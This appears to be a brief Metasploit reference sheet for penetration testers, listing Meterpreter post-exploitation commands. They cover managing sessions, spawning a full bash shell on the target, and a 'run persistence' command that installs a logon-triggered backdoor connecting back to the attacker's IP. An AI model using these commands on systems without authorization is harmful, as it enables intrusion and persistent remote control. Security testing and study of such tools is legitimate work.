Metasploit Cheat Sheets

Last modified: Sat Jan 07 2023 00:00:00 GMT+0000 (Coordinated Universal Time)

Linux Windows

Msfconsole

No content yet.


Meterpreter

# List all sessions running on background
msf> sessions

# Start interacting with the session
msf> sessions <session-id>

# Drop into a system command shell
meterpreter> shell
# Upgrade to full functional shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Persistence at the target system
# -h: Help
meterpreter> run persistence -h
# -U: Automatically start when the user logs on
# -i: The interal in seconds between each connection attempt
# -p: The port on which the system running Metesploit is listening
# -r: The IP of the system running Metasploit listening for the connect back
meterpreter> run persistence -U -i 5 -p 443 -r <local-ip>

Msfvenom

No content yet.